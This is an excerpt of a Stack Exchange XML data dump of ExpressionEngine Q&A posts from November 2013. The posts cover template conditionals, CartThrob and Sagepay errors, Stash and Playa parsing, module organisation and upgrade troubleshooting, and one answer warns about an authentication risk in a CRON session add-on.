  <row Id="16941" PostTypeId="2" ParentId="16926" CreationDate="2013-11-20T12:01:49.753" Score="6" Body="&lt;p&gt;First off, you can't have any &quot;else&quot; statements in your conditional or it will be considered &quot;advanced&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But more importantly in relation to how you're writing these: Simple Conditionals aren't just about the operators, control structures &amp;amp; variables, but the &lt;em&gt;format&lt;/em&gt; is actually critical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual format must be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if early_parsed_variable == &quot;string&quot;}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically the left-hand side &lt;strong&gt;must NOT&lt;/strong&gt; have curly brackets or quotes; and the right-hand side &lt;strong&gt;MUST&lt;/strong&gt; have quotes.  This is the exact and only pattern that EE looks for when trying to hunt down a Simple Conditional - along with the other requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's bewildering I know - it promted me to write a post about all the times you might think you've written a Simple Condition, but haven't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johndwells.com/blog/when-a-simple-conditional-isnt&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.com/blog/when-a-simple-conditional-isnt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="486" LastEditorUserId="486" LastEditDate="2013-11-21T14:44:09.963" LastActivityDate="2013-11-21T14:44:09.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16943" PostTypeId="1" AcceptedAnswerId="17040" CreationDate="2013-11-20T13:17:44.660" Score="0" ViewCount="613" Body="&lt;p&gt;Running into some serious issues with CartThrob.  All of a sudden I am getting this error when I add an item to the cart and try to view cart or checkout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working last night and sometime over night it all fell apart.&#xA;Running EE 2.7.1 and CT 2.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1062&#xA;Duplicate entry '465628' for key 'PRIMARY'&#xA;&#xA;INSERT INTO `exp_cartthrob_cart` (`cart`, `timestamp`, `url`) VALUES ('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', 1384949211, 'http://domain.com/checkout/checkout')&#xA;&#xA;Filename: third_party/cartthrob/models/cart_model.php&#xA;&#xA;Line Number: 79&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-11-22T13:03:12.447" Title="Error Number: 1062 Duplicate entry '465628' for key 'PRIMARY'" Tags="|cartthrob|error|mysql|database-error|duplicate|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16944" PostTypeId="2" ParentId="15193" CreationDate="2013-11-20T14:02:36.637" Score="1" Body="&lt;p&gt;I was originally going to post this as a comment, but it's too long, so have opted for an 'answer'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be aware of the security implications of doing this as advised above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just created an add-on to do just this which will be executed via CRON - however, it needs to be pointed out that running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session($member_id);&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;fetch_session_data();&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;fetch_member_data();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instantiates itself as a user and creates a valid session, therefore if a user were to find and HTTP to the URL you've created for the CRON, it would effectively log them in to the site without any authentication credentials which would persist throughout the site posing a serious security risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use with caution.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-11-20T14:02:36.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16945" PostTypeId="2" ParentId="16922" CreationDate="2013-11-20T14:09:37.237" Score="3" Body="&lt;p&gt;Tom from EE Harbor helped me out, here's his answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;name&quot; ....}&#xA;&#xA;    {exp:transcribe:language_links has_entry=&quot;yes&quot; entry_id=&quot;{entry_id}&quot; parse=&quot;inward&quot;}&#xA;            &amp;lt;select name=&quot;lang&quot;&amp;gt;&#xA;                {languages}&#xA;                    &amp;lt;option value=&quot;{abbreviation}&quot;{if current} selected=&quot;selected&quot;{/if}&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;                {/languages}&#xA;            &amp;lt;/select&amp;gt;&#xA;    {/exp:transcribe:language_links}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note, you will need to place the language_links tags inside the channel:entries tags.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This fixed it for me, I didn't place the code inside the channel:entries tag.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2013-11-20T14:09:37.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16946" PostTypeId="2" ParentId="16721" CreationDate="2013-11-20T14:27:33.943" Score="2" Body="&lt;p&gt;The answer is 'yes', log-in did change significantly between EE 1.x and EE2.x. For anyone running into the same issue there is an updated aMember plug-in available for EE2.x from &lt;a href=&quot;http://www.amember.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.amember.com/&lt;/a&gt; (you'll need to submit a support ticket and ask for a copy).&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-11-20T14:27:33.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16947" PostTypeId="1" CreationDate="2013-11-20T14:44:04.997" Score="2" ViewCount="245" Body="&lt;p&gt;Coming across a parsing problem when trying to get related Playa entries categories in a nested list with Stash. The setup involves Playa pulling related entries (videos) from a parent entry (feed) as a Stash list, and then a nested list for each video to include the categories of each video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Code that stashes the data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;feed&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!-- The Feed --}&#xA;    {exp:stash:set name=&quot;feed_title&quot;}{title}{/exp:stash:set}&#xA;&#xA;    {!-- The Feed's Videos : Playa Field (Parent List) --}&#xA;    {exp:stash:set_list name=&quot;videos&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;        {cf_feed_videos}&#xA;&#xA;            {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;            {stash:title}{title}{/stash:title}&#xA;            {stash:file}{cf_video_file}{/stash:file}&#xA;&#xA;            {!-- Video Categories : EE Categories (Nested List) --}&#xA;            {exp:stash:set_list:nested_cats name=&quot;categories_{entry_id}&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {categories}&#xA;                    {stash:category_url}{category_url_title}{/stash:category_url}&#xA;                    {stash:category_title}{category_name}{/stash:category_title}&#xA;                {/categories}&#xA;            {/exp:stash:set_list:nested_cats}&#xA;&#xA;            {!-- Video Links : Matrix Field (Nested List) --}&#xA;            {exp:stash:set_list:nested_links name=&quot;links_{entry_id}&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {cf_video_links}&#xA;                    {stash:link_url}{mx_url}{/stash:link_url}&#xA;                    {stash:link_title}{mx_title}{/stash:link_title}&#xA;                {/cf_video_links}&#xA;            {/exp:stash:set_list:nested_links}&#xA;&#xA;        {/cf_feed_videos}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Code that outputs the data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;videos&quot; limit=&quot;1&quot; sort=&quot;desc&quot;}&#xA;&#xA;    ...&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;        {exp:stash:get_list:nested_cats name=&quot;categories_{entry_id}&quot; context=&quot;{entry_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{category_url}&quot;&amp;gt;{category_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list:nested_cats}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    ...&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So everything parses correctly except for the variables within the nested categories loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {category_title} for example renders as &quot;{category_name}&quot; as if it's not being parsed when it's stashed in the nested set_list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried setting a higher parse_depth on the parent set_list, or setting a parse_depth on the nested categories list, however these do not seem to work either. Also in the example code, there is a second nested list (video links) which is pulled from a matrix field at the same level of the categories nested list, and this renders just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a question of the EE {categories} tag pair parsing later in the process than custom fields like a matrix field?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-11-20T15:03:41.110" Title="Category Tag Pair Vars not Parsing when Stashed into a Nested List" Tags="|playa|categories|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16948" PostTypeId="2" ParentId="16947" CreationDate="2013-11-20T15:03:41.110" Score="3" Body="&lt;p&gt;Turns out the problem wasn't a parse issue after all. Playa disables categories by default so by placing a blank disable=&quot;&quot; parameter on the {cf_feed_videos} tag it overrides this and re-enables categories for the related entries.&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-11-20T15:03:41.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16949" PostTypeId="1" AcceptedAnswerId="17010" CreationDate="2013-11-20T15:40:46.117" Score="1" ViewCount="96" Body="&lt;p&gt;By using Channel Form, I've created a Wiki that currently allows a logged in member to edit content of articles on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to set up access permissions on those articles, so access would only be granted if you've been invited to contribute to a specific article. Any articles you've not been invited to would be invisible.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Am i using the correct third party module for this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this easy and if so, how?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="254" LastActivityDate="2013-11-22T00:19:01.977" Title="Using Solspace User to only allow editors to edit/view articles the've been assigned to?" Tags="|ee2|solspace-user|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16950" PostTypeId="1" CreationDate="2013-11-20T15:41:03.547" Score="1" ViewCount="117" Body="&lt;p&gt;Do any of you use the &lt;a href=&quot;http://devot-ee.com/add-ons/low-reorder-for-structure&quot; rel=&quot;nofollow&quot;&gt;Low Reorder for Structure&lt;/a&gt; plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using Structure &amp;amp; Low Reorder, it adds a link next to a page which has listings, and changes the &quot;Add or Edit&quot; link to be &quot;Add, Edit or Reorder.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem where the &quot;Reorder&quot; link is going to the wrong reorder list. And the unfortunate part is that it matches up reorder lists to listings automatically, so I can't manually select one or the other (as far as I know). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got two reorder lists that pull from the same channel. The channel is called &quot;projects&quot; and the lists are called &quot;projects&quot; and &quot;area&quot; - Projects is all of the listings, while area is a particular subset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the docs, it should pick up the reorder list with the same name, but it's picking up the other one instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to override the selection that the plugin is making? Or change my data to get the plugin to select the right list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: After some testing, it looks like it uses the last reorder list that uses the same channel. I deleted my first 'projects' list and recreated it, and then it was working. Delete the 'area' one and recreate it, and then it links to that. It's not a fix, but it does work.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastEditorUserId="1717" LastEditDate="2013-11-25T16:50:47.770" LastActivityDate="2016-05-26T04:16:39.093" Title="&quot;Low Reorder for Structure&quot; plugin - links to the wrong reorder list" Tags="|structure|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16951" PostTypeId="1" CreationDate="2013-11-20T16:10:44.080" Score="1" ViewCount="593" Body="&lt;p&gt;I've taken on two ee cartthrob sites running off an msm installation. I just moved them to a Nexcess server and updated EE from 2.2.1 to 2.7.2 (and CT from 2.051 to 2.4). Everything is working fine until I try to post data through to sagepay (using the europe offsite option, so no ssl). Every single time I try to proceed to payment, I get this error on the payment confirmation page (without going out to sagepay):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Failed: sage_invalid3037 : The NotificationURL is too long.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've investigated this thoroughly and have found that some people have solved it by correctly configuring a file called 'extload.php' that handles external payment gateways. However, I've edited this file with correct absolute server paths and msm site id's in both theme folders and I'm still getting the error. I can't get a call scheduled with the cartthrob guys for another two days (and that's the paid for option!) so I'm hoping there may be someone else in the community that has experienced and fixed this issue...? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cloudflare as a CDN, I don't know if this will have any implications? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried watching the http headers as I click the 'proceed to payment' button, but can't see anything interesting in there (except Cloudflare giving me a Temporary 302 on the confirmation page that delivers the error).&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-22T14:05:59.923" Title="Cartthrob Sagepay (offsite) 3037 notification URL error for MSM sites" Tags="|cartthrob|multi-site-manager|sagepay|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16952" PostTypeId="1" AcceptedAnswerId="16959" CreationDate="2013-11-20T16:20:05.567" Score="1" ViewCount="183" Body="&lt;p&gt;We are developing a module and the controller mcp file has become quite large. I wondered if there is a best practice for splitting this into multiple files. It's a collection of methods in the class our module_mcp class, so can these be split out into other files somehow? Multiple controllers instead of one? We could use the include() method in PHP but doesn't seem it would be the best practice to do this.&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="28" LastEditDate="2013-11-20T16:28:41.247" LastActivityDate="2013-11-20T20:12:32.143" Title="Best method to split module mcp file into multiple files" Tags="|add-on-development|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16954" PostTypeId="1" CreationDate="2013-11-20T18:50:59.337" Score="2" ViewCount="63" Body="&lt;p&gt;I am creating a business directory and want to have a map that shows locations of member businesses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use the fieldtype to allow members to show location of their business, then display a map that show all locations from ALL entries in the member channel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I restrict the fieldtype so that a member can only place one marker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to assign categories to each entry and then have either a drop menu or check boxes that allow for filtering. So the user can display only locations that match a certain category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can you get the entry_url to be a link in the info box?&lt;/p&gt;&#xA;" OwnerUserId="2382" LastEditorUserId="28" LastEditDate="2013-11-21T02:18:36.923" LastActivityDate="2013-11-21T02:18:36.923" Title="Google Maps Mod pre-purchase question" Tags="|add-on|google-maps-for-ee|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16955" PostTypeId="2" ParentId="14520" CreationDate="2013-11-20T18:53:55.793" Score="0" Body="&lt;p&gt;Oddly enough, the only known solution to this that I've been able to use is to use the back button, and save again. It works more often than it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what made me think that the issue was not the XID at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, none of the content being submitted differs greatly from a successful submit to a failed one. New entries v edits, paragraphs v images, everything appears to be fair game for this random occurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end, an invalid XID results in &quot;You are not authorized to perform this action.&quot; This results in no obvious error. Anyone who did not expect a View Entry screen would think that their entry had saved just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone still experiencing this issue, my client cannot turn off Secure Mode because the site relies heavily on user-generated content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bug, and it needs to be handled as such.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2013-11-20T18:53:55.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16956" PostTypeId="2" ParentId="16865" CreationDate="2013-11-20T19:15:13.807" Score="1" Body="&lt;p&gt;Okay pinned this one down, it made no sense for good reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were running the staging site out of the same hosting account as the live site, which should have been fine. But due to a misconfiguration, any SSL pages were being loaded from the live site but as we load the DB based on the hostname, it was still pulling the stage DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As only some pages enforced SSL that's why the problems were intermittent, and only when we access the pages over SSL did it pull the 2.5.5 files instead.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-11-20T19:15:13.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16957" PostTypeId="2" ParentId="16954" CreationDate="2013-11-20T19:52:49.490" Score="1" Body="&lt;p&gt;Google Maps can do all of this, yes (and makes it really easy). It's a very flexible add-on. Sorry for the short answer, but it really just is &quot;yes&quot; to each of your questions. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, this isn't an official response since obviously I'm just a user, not the developer of this add-on. But my guess is that Justin would agree. ;-)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-20T19:52:49.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16958" PostTypeId="2" ParentId="16949" CreationDate="2013-11-20T20:06:03.787" Score="1" Body="&lt;p&gt;I've done something similar before using Profile:Edit. I know it would work with Zoo Visitor too. I haven't used User, but as long as you can connect a member to a profile entry you should be able to pull this off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is that each member gets a channel entry in a members channel. Within that entry, there will be a Playa field, allowing entries from your articles channel to be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the edit template, you'd load the profile, and then find the entry you want to edit within the Playa field. If it's not found, then you show a permissions error or redirect or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also use the Playa field to output the list of entries the member can edit in whatever form of navigation you're using.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-20T20:06:03.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16959" PostTypeId="2" ParentId="16952" CreationDate="2013-11-20T20:12:32.143" Score="4" Body="&lt;p&gt;I would suggest a couple things to help separate our your code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As Derek mentioned in a comment above, make sure you're abstracting your data model work to a model class.&lt;/li&gt;&#xA;&lt;li&gt;You can also create a libraries directory within your add-on package and begin to create your own set of libraries. Since they are local to your package, you'll be able to easily load them like &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('your_module_class_name');&lt;/code&gt; Then, within the control panel file you can simply pass off processing to your library. As the code gets more complex, you can abstract into multiple libraries as needed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course all of this is really a matter of your own personal taste and need for organization. You want to be careful not to abstract too much, making it incredibly difficult to trace through later.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-20T20:12:32.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16960" PostTypeId="1" AcceptedAnswerId="16969" CreationDate="2013-11-20T21:48:30.800" Score="0" ViewCount="104" Body="&lt;p&gt;I just updated this site for a client from ExpressionEngine 1.6.3 to 2.7.2 Now the blog works fine but the individual blog entries aren't displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on where I should start to troubleshoot this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Sorry, now I realize that the question was way too vague. The page listing the blog entries displays fine but when I visit an individual entry, the url is wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the site:&#xA;&lt;a href=&quot;http://professor-murmann.info/&quot; rel=&quot;nofollow&quot;&gt;http://professor-murmann.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pastie of the template code:&#xA;&lt;a href=&quot;http://pastie.org/private/6x367wh2yilbulceotf5g&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/6x367wh2yilbulceotf5g&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="278" LastEditorUserId="278" LastEditDate="2013-11-20T23:24:00.657" LastActivityDate="2013-11-21T01:12:02.917" Title="Templates aren't working properly after update" Tags="|ee1|ee2-upgrades|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16961" PostTypeId="1" CreationDate="2013-11-20T22:24:53.563" Score="0" ViewCount="52" Body="&lt;p&gt;Not sure what happens but a site I'm running on a windows server displays nothing now. I can't get it into debug mode. Also, works perfectly fine locally on MAMP and on a linux set up with 1and1... any help would be amazing!&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-11-21T00:31:00.117" Title="Nothing rendering on Windows server" Tags="|templates|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16962" PostTypeId="1" AcceptedAnswerId="16968" CreationDate="2013-11-20T22:31:27.243" Score="0" ViewCount="48" Body="&lt;p&gt;I am about to update a site online and I wanted to make sure that everything when smoothly. So, I downloaded the site and tried to update the site locally. I followed all the steps on the docs for upgrading expressionengine 2. But, after the installer runs and I delete my installer folder and try to login I get this error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJgRy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ran into this? Also, what do I need to do to get this working locally? I know what to look for when I make this update to the live site.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2013-11-21T00:37:35.923" Title="Error message when upgrading from 2.4.0 to 2.7.2" Tags="|error|ee2-upgrades|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-21T01:44:13.583" ContentLicense="CC BY-SA 3.0" />
